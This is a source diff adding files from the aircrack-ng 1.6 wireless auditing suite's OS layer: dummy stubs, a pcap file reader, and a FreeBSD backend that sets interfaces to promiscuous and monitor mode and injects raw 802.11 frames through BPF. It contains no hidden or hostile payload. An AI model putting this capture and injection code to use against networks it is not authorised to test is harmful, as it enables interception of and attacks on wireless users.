+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <errno.h>
+#include <stdio.h>
+
+#include "osdep.h"
+
+struct wif * wi_open_osdep(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	errno = EOPNOTSUPP;
+	return NULL;
+}
+
+EXPORT int get_battery_state(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}
+
+int create_tap(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/dummy_tap.c Added

@@ -0,0 +1,39 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for unsupported APIs. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "osdep.h"
+
+static struct tif * ti_open_dummy(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	return NULL;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_dummy(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/file.c Added

@@ -0,0 +1,404 @@
+/*
+  *  Copyright (c) 2010 Andrea Bittau <bittau@cs.stanford.edu>
+  *
+  *  OS dependent API for using card via a pcap file.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <assert.h>
+#include <sys/select.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <err.h>
+
+#include "osdep.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "radiotap/radiotap_iter.h"
+#include "common.h"
+
+struct priv_file
+{
+	int pf_fd;
+	int pf_chan;
+	int pf_rate;
+	int pf_dtl;
+	uint32_t pf_magic;
+	unsigned char pf_mac[6];
+};
+
+static int file_read(struct wif * wi,
+					 struct timespec * ts,
+					 int * dlt,
+					 unsigned char * h80211,
+					 int len,
+					 struct rx_info * ri)
+{
+	struct priv_file * pf = wi_priv(wi);
+	struct pcap_pkthdr pkh;
+	int rc;
+	int got_signal = 0;
+	int got_noise = 0;
+	unsigned char buf[4096] __attribute__((aligned(8)));
+	int off = 0;
+	struct ieee80211_radiotap_header * rh;
+	struct ieee80211_radiotap_iterator iterator;
+
+	memset(&iterator, 0, sizeof(iterator));
+
+	rc = read(pf->pf_fd, &pkh, sizeof(pkh));
+	if (rc != sizeof(pkh)) return -1;
+
+	if (pf->pf_magic == TCPDUMP_CIGAM)
+	{
+		pkh.caplen = ___my_swab32(pkh.caplen);
+		pkh.len = ___my_swab32(pkh.len);
+	}
+
+	if (pkh.caplen > sizeof(buf))
+	{
+		printf("Bad caplen %lu\n", (unsigned long) pkh.caplen);
+		return 0;
+	}
+
+	assert(pkh.caplen <= sizeof(buf)); //-V547
+
+	rc = read(pf->pf_fd, buf, pkh.caplen);
+	if (rc != (int) pkh.caplen) return -1;
+
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	switch (pf->pf_dtl)
+	{
+		case LINKTYPE_IEEE802_11:
+			off = 0;
+			break;
+
+		case LINKTYPE_RADIOTAP_HDR:
+			rh = (struct ieee80211_radiotap_header *) buf;
+			off = le16_to_cpu(rh->it_len);
+
+			if (ieee80211_radiotap_iterator_init(&iterator, rh, rc, NULL) < 0)
+				return -1;
+
+			while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
+			{
+				switch (iterator.this_arg_index)
+				{
+					case IEEE80211_RADIOTAP_TSFT:
+						if (ri)
+							ri->ri_mactime = le64_to_cpu(
+								*((uint64_t *) iterator.this_arg));
+						break;
+
+					case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+						if (ri && !got_signal)
+						{
+							if (*iterator.this_arg < 127)
+								ri->ri_power = *iterator.this_arg;
+							else
+								ri->ri_power = *iterator.this_arg - 255;
+
+							got_signal = 1;
+						}
+						break;
+
+					case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+						if (ri && !got_signal)
+						{
+							if (*iterator.this_arg < 127)
+								ri->ri_power = *iterator.this_arg;
+							else
+								ri->ri_power = *iterator.this_arg - 255;
+
+							got_signal = 1;
+						}
+						break;
+
+					case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+						if (ri && !got_noise)
+						{
+							if (*iterator.this_arg < 127)
+								ri->ri_noise = *iterator.this_arg;
+							else
+								ri->ri_noise = *iterator.this_arg - 255;
+
+							got_noise = 1;
+						}
+						break;
+
+					case IEEE80211_RADIOTAP_DB_ANTNOISE:
+						if (ri && !got_noise)
+						{
+							if (*iterator.this_arg < 127)
+								ri->ri_noise = *iterator.this_arg;
+							else
+								ri->ri_noise = *iterator.this_arg - 255;
+
+							got_noise = 1;
+						}
+						break;
+
+					case IEEE80211_RADIOTAP_ANTENNA:
+						if (ri) ri->ri_antenna = *iterator.this_arg;
+						break;
+
+					case IEEE80211_RADIOTAP_CHANNEL:
+						if (ri)
+							ri->ri_channel = getChannelFromFrequency(
+								le16toh(*(uint16_t *) iterator.this_arg));
+						break;
+
+					case IEEE80211_RADIOTAP_RATE:
+						if (ri) ri->ri_rate = (*iterator.this_arg) * 500000;
+						break;
+
+					case IEEE80211_RADIOTAP_FLAGS:
+						if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FCS)
+							rc -= 4;
+						break;
+				}
+			}
+			break;
+
+		case LINKTYPE_PRISM_HEADER:
+			if (buf[7] == 0x40)
+			{
+				off = 0x40;
+
+				if (ri)
+				{
+					ri->ri_power = -((int32_t) load32_le(buf + 0x33));
+					ri->ri_noise = (int32_t) load32_le(buf + 0x33 + 12);
+					ri->ri_rate = load32_le(buf + 0x33 + 24) * 500000;
+
+					got_signal = 1;
+					got_noise = 1;
+				}
+			}
+			else
+			{
+				off = load32_le(buf + 4);
+
+				if (ri)
+				{
+					ri->ri_mactime = load64_le(buf + 0x5C - 48);
+					ri->ri_channel = load32_le(buf + 0x5C - 36);
+					ri->ri_power = -((int32_t) load32_le(buf + 0x5C));
+					ri->ri_noise = (int32_t) load32_le(buf + 0x5C + 12);
+					ri->ri_rate = load32_le(buf + 0x5C + 24) * 500000;
+				}
+			}
+
+			rc -= 4;
+			break;
+
+		case LINKTYPE_PPI_HDR:
+			off = load16_le(buf + 2);
+
+			/* for a while Kismet logged broken PPI headers */
+			if (off == 24 && load16_le(buf + 8) == 2) off = 32;
+
+			break;
+
+		case LINKTYPE_ETHERNET:
+			printf("Ethernet packets\n");
+			return 0;
+
+		default:
+			errx(1, "Unknown DTL %d", pf->pf_dtl);
+			break;
+	}
+
+	rc -= off;
+	assert(rc >= 0);
+
+	if (off < 0 || rc < 0) return -1;
+
+	if (rc > len) rc = len;
+
+	if (dlt)
+	{
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		ts->tv_sec = pkh.tv_sec;
+		ts->tv_nsec = pkh.tv_usec * 1000UL;
+	}
+
+	memcpy(h80211, &buf[off], rc);
+
+	return rc;
+}
+
+static int file_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac));
+
+	return 0;
+}
+
+static int file_write(struct wif * wi,
+					  struct timespec * ts,
+					  int dlt,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	if (h80211 && ti && pn && ts && dlt)
+	{
+	}
+
+	return len;
+}
+
+static int file_set_channel(struct wif * wi, int chan)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	pf->pf_chan = chan;
+
+	return 0;
+}
+
+static int file_get_channel(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_chan;
+}
+
+static int file_set_rate(struct wif * wi, int rate)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	pf->pf_rate = rate;
+
+	return 0;
+}
+
+static int file_get_rate(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_rate;
+}
+
+static int file_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	}
+
+	return 1;
+}
+
+static void file_close(struct wif * wi)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	if (pn)
+	{
+		if (pn->pf_fd)
+		{
+			close(pn->pf_fd);
+		}
+		free(pn);
+	}
+
+	free(wi);
+}
+
+static int file_fd(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_fd;
+}
+
+struct wif * file_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_file * pf;
+	int fd;
+	struct pcap_file_header pfh;
+	int rc;
+
+	if (iface == NULL || strncmp(iface, "file://", 7) != 0) return NULL;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pf));
+	if (!wi) return NULL;
+
+	wi->wi_read = file_read;
+	wi->wi_write = file_write;
+	wi->wi_set_channel = file_set_channel;
+	wi->wi_get_channel = file_get_channel;
+	wi->wi_set_rate = file_set_rate;
+	wi->wi_get_rate = file_get_rate;
+	wi->wi_close = file_close;
+	wi->wi_fd = file_fd;
+	wi->wi_get_mac = file_get_mac;
+	wi->wi_get_monitor = file_get_monitor;
+
+	pf = wi_priv(wi);
+
+	fd = open(iface + 7, O_RDONLY);
+	if (fd == -1) err(1, "open()");
+
+	pf->pf_fd = fd;
+
+	if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err;
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM) goto __err;
+
+	if (pfh.magic == TCPDUMP_CIGAM)
+	{
+		pfh.version_major = ___my_swab16(pfh.version_major);
+		pfh.version_minor = ___my_swab16(pfh.version_minor);
+		pfh.linktype = ___my_swab32(pfh.linktype);
+	}
+
+	if (pfh.version_major != PCAP_VERSION_MAJOR
+		|| pfh.version_minor != PCAP_VERSION_MINOR)
+		goto __err;
+
+	pf->pf_dtl = pfh.linktype;
+	pf->pf_magic = pfh.magic;
+
+	return wi;
+
+__err:
+	wi_close(wi);
+	return (struct wif *) -1;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/freebsd.c Added

@@ -0,0 +1,668 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for FreeBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#ifdef __DragonFly__
+#include <netproto/802_11/ieee80211_ioctl.h>
+#include <netproto/802_11/ieee80211_radiotap.h>
+#include <netproto/802_11/ieee80211_dragonfly.h>
+#else
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_freebsd.h>
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+#ifndef LINKTYPE_IEEE802_11
+#define LINKTYPE_IEEE802_11 105
+#endif
+
+struct priv_fbsd
+{
+	/* iface */
+	int pf_fd;
+
+	/* rx */
+	int pf_nocrc;
+
+	/* tx */
+	unsigned char pf_buf[4096];
+	unsigned char * pf_next;
+	int pf_totlen;
+	struct ieee80211_bpf_params pf_txparams;
+
+	/* setchan */
+	int pf_s;
+	struct ifreq pf_ifr;
+	struct ieee80211req pf_ireq;
+	int pf_chan;
+};
+
+/* from ifconfig */
+static __inline int mapgsm(u_int freq, u_int flags)
+{
+	freq *= 10;
+	if (flags & IEEE80211_CHAN_QUARTER)
+		freq += 5;
+	else if (flags & IEEE80211_CHAN_HALF)
+		freq += 10;
+	else
+		freq += 20;
+	/* NB: there is no 907/20 wide but leave room */
+	return (freq - 906 * 10) / 5;
+}
+
+static __inline int mappsb(u_int freq)
+{
+	return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5;
+}
+
+/*
+ * Convert MHz frequency to IEEE channel number.
+ */
+static u_int ieee80211_mhz2ieee(u_int freq, u_int flags)
+{
+	if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922))
+		return mapgsm(freq, flags);
+	if (freq == 2484) return 14;
+	if (freq < 2484) return (freq - 2407) / 5;
+	if (freq < 5000)
+	{
+		if (flags & (IEEE80211_CHAN_HALF | IEEE80211_CHAN_QUARTER))
+			return mappsb(freq);
+		else if (freq > 4900)
+			return (freq - 4000) / 5;
+		else
+			return 15 + ((freq - 2512) / 20);
+	}
+	return (freq - 5000) / 5;
+}
+/* end of ifconfig */
+
+static void get_radiotap_info(struct priv_fbsd * pf,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					uint16_t * p = (uint16_t *) body;
+					int c = ieee80211_mhz2ieee(*p, *(p + 1));
+
+					ri->ri_channel = c;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		pf->pf_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_fbsd * pf, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &pf->pf_next;
+	totlen = &pf->pf_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(pf, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int fbsd_get_channel(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	if (ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1;
+
+	return pf->pf_ireq.i_val;
+}
+
+static int fbsd_read(struct wif * wi,
+					 struct timespec * ts,
+					 int * dlt,
+					 unsigned char * h80211,
+					 int len,
+					 struct rx_info * ri)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
+	if (pf->pf_totlen == 0)
+	{
+		pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf));
+		if (pf->pf_totlen == -1)
+		{
+			pf->pf_totlen = 0;
+			return -1;
+		}
+		pf->pf_next = pf->pf_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(pf, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (dlt)
+	{
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		clock_gettime(CLOCK_REALTIME, ts);
+	}
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int fbsd_write(struct wif * wi,
+					  struct timespec * ts,
+					  int dlt,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct iovec iov[2];
+	struct priv_fbsd * pf = wi_priv(wi);
+	int rc;
+
+	(void) ts;
+	(void) dlt;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	iov[0].iov_base = &pf->pf_txparams;
+	iov[0].iov_len = pf->pf_txparams.ibp_len;
+
+	iov[1].iov_base = h80211;
+	iov[1].iov_len = len;
+
+	rc = writev(pf->pf_fd, iov, 2);
+	if (rc == -1) return rc;
+	if (rc < (int) iov[0].iov_len) return 0;
+
+	return rc - iov[0].iov_len;
+}
+
+static int fbsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	pf->pf_ireq.i_val = chan;
+	if (ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0) return -1;
+
+	pf->pf_chan = chan;
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void fbsd_close(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	close(pf->pf_fd);
+	close(pf->pf_s);
+	do_free(wi);
+}
+
+static int do_fbsd_open(struct wif * wi, char * iface)
+{
+	int i;
+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	int * mwords;
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	pf->pf_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
+	flags |= IFF_UP | IFF_PPROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	ifr.ifr_flags = flags & 0xffff;
+	ifr.ifr_flagshigh = flags >> 16;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strcpy(ifmr.ifm_name, iface);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	ifr.ifr_media = ifmr.ifm_current;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strcpy(pf->pf_ireq.i_name, iface);
+	pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL;
+
+	/* same for ifreq [mac addr] */
+	strcpy(pf->pf_ifr.ifr_name, iface);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		sprintf(buf, "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	strcpy(ifr.ifr_name, iface);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int fbsd_fd(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	return pf->pf_fd;
+}
+
+static int fbsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int fbsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int fbsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int fbsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int fbsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq * ifr = &priv->pf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr);
+}
+
+static int fbsd_set_mtu(struct wif * wi, int mtu)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq * ifr = &priv->pf_ifr;
+
+	memset(ifr, 0, sizeof(struct ifreq));
+
+	strncpy(ifr->ifr_name, wi_get_ifname(wi), sizeof(ifr->ifr_name));
+	ifr->ifr_mtu = mtu;
+
+	if (ioctl(priv->pf_s, SIOCSIFMTU, ifr) < 0) return -1;
+
+	return 0;
+}
+
+static int fbsd_get_mtu(struct wif * wi)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq ifr;
+
+	memset(&ifr, 0, sizeof(struct ifreq));
+
+	ifr.ifr_addr.sa_family = AF_INET;
+
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name));
+
+	if (ioctl(priv->pf_s, SIOCGIFMTU, (caddr_t) &ifr) < 0) return -1;
+
+	return ifr.ifr_mtu;
+}
+
+static struct wif * fbsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_fbsd * pf;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pf));
+	if (!wi) return NULL;
+	wi->wi_read = fbsd_read;
+	wi->wi_write = fbsd_write;
+	wi->wi_set_channel = fbsd_set_channel;
+	wi->wi_get_channel = fbsd_get_channel;
+	wi->wi_close = fbsd_close;
+	wi->wi_fd = fbsd_fd;
+	wi->wi_get_mac = fbsd_get_mac;
+	wi->wi_set_mac = fbsd_set_mac;
+	wi->wi_get_rate = fbsd_get_rate;
+	wi->wi_set_rate = fbsd_set_rate;
+	wi->wi_get_monitor = fbsd_get_monitor;
+	wi->wi_get_mtu = fbsd_get_mtu;
+	wi->wi_set_mtu = fbsd_set_mtu;
+
+	/* setup iface */
+	fd = do_fbsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pf = wi_priv(wi);
+	pf->pf_fd = fd;
+	pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
+	pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
+	pf->pf_txparams.ibp_rate0 = 2; /* 1 MB/s XXX */
+	pf->pf_txparams.ibp_try0 = 1; /* no retransmits */
+	pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */
+	pf->pf_txparams.ibp_try1 = 1; /* no retransmits */
+	pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
+	pf->pf_txparams.ibp_power = 100; /* nominal max */
+	pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return fbsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) || defined(__MidnightBSD__)
+	int value;
+	size_t len;
+
+	len = 4;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/osdep/freebsd_tap.c Added

@@ -0,0 +1,223 @@
+/*
